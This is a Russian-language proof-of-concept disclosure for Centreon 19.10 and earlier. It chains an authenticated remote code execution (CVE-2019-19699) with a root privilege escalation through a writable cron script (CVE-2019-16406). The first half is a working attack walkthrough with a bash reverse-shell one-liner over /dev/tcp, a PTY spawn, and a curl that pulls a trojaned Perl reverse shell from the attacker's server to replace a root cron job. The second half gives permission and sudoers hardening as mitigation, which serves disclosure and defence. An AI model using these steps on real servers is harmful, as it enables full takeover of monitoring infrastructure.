
Centreon =<19.10 Аутентифицированное RCE
Доказательство концепции
Обнаружено:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
Аутентифицированное удаленное выполнение кода:
Начнем с входа в веб-панель Centreon под пользователем Admin.
После входа переходим в Configuration > Commands > Miscellaneous
Нажимаем Add, как показано на изображении ниже.
Теперь создаем bash reverse shell в качестве нашей команды Miscellaneous
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
И нажимаем Save
Теперь переходим в Configuration > Pollers и нажимаем на наш текущий Central poller
Это дает нам доступ к меню Modify a poller Configuration
Здесь мы можем прокрутить вниз и установить Post-restart command
Выбираем созданный ранее reverse shell и нажимаем кнопку Save
Теперь можем запустить Netcat слушатель на нашей локальной машине
Наконец, нажимаем кнопку Export configuration в меню Configuration > Pollers
Выбираем наш Central poller в выпадающем списке Pollers
Снимаем флажки Generate Configuration Files и Run monitoring engine debug (-v)
Устанавливаем флажки Restart Monitoring Engine и Post generation command
Выбираем Restart в выпадающем списке Method
После нажатия Export Poller перезапустится и выполнит Post-Restart Command, который мы настроили ранее. В этот момент наш слушатель reverse shell получит соединение.
Аутентифицированное удаленное выполнение кода выполнено успешно!
(Это было описание для CVE-2019-19699)
Отсюда мы переходим к получению Root
Используем CVE-2019-16406, найденную TheCyberGeek, чтобы полностью скомпрометировать сервер Centreon =< 19.10
Начнем с запуска TTY shell в нашем текущем терминале reverse shell
python -c 'import pty; pty.spawn("/bin/sh")'
Теперь посмотрим, какие задачи cron существуют, выполнив cat /etc/cron.d/*
Мы видим, что centreon_autodisc.pl является задачей cron
(Было установлено с 30 22 * * * root на * * * * * root для демонстрационных целей)
Эта задача выполняется от имени Root, давайте заменим файл centreon_autodisco.pl на Perl reverse shell
Perl shell, который я буду использовать, можно загрузить здесь
Загрузите reverse shell и отредактируйте ip address и port на свои, как объяснено на веб-странице
Выполните mv, чтобы переименовать локальный файл perl-reverse-shell.pl в centreon_autodisco.pl
Давайте запустим локальный SimpleHTTPServer на порту по вашему выбору
Таким образом, мы можем выполнить curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl чтобы заменить существующий centreon_autodisco.pl на наш троянский Perl reverse shell
Теперь файл заменен. Осталось только запустить Netcat listener на порту, который мы настроили ранее, и мы получим соединение от сервера под пользователем Root!
Доступ к системе как Root получен успешно!
Теперь перейдем к примечаниям о том, как, по нашему мнению, следует смягчить повышение привилегий!
Текущие настройки в 19.10:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Смягчение для /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
Как видите, теперь он принадлежит Root, группа apache может только читать и выполнять его, centreon может только выполнять его, поэтому это не влияет на функциональность.
Пример:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied Но apache все еще может выполнять его.
Смягчение для /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
Как видите, теперь он принадлежит Root, группа apache может только читать и выполнять его, centreon может только выполнять его, поэтому это не влияет на функциональность.
Пример:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied Но apache все еще может выполнять его.
Смягчение для /usr/lib/centreon/plugins/cwrapper_perl
Используйте команды sudo, определяющие конкретные скрипты, которые должны выполняться каждым пользователем.
Сделайте root владельцем каждого perl-скрипта, чтобы пользователи не могли изменить или заменить скрипт для повышения привилегий.
chmod 755 /usr/lib/centreon/plugins/cwrapper_perl
ls -la /usr/lib/centreon/plugins/cwrapper_perl
-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Теперь пользователи больше не могут изменять или заменять скрипт!
Пример:
cat /etc/sudoers
...
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl
...
---End of Sudoers---
ls -la example_script1.pl
-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl
ls -la examle_scripts1.pl
-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl
Пользователи по-прежнему могут выполнять необходимые скрипты, но скрипты не могут быть изменены apache или centreon, что полностью устраняет угрозу безопасности для повышения привилегий.
Если злоумышленнику удастся проникнуть в машину сейчас, получить полный контроль над ней будет очень сложно или невозможно, если не будут обнаружены другие угрозы.
Для пользователя Centreon единственное повышение привилегий, которое мы смогли найти, — это cwrapper для perl, так что если бы post-restart выполнялся от имени пользователя centreon и злоумышленник получил оболочку от имени пользователя centreon, это практически не оставило бы поверхности для атаки.
Спасибо за чтение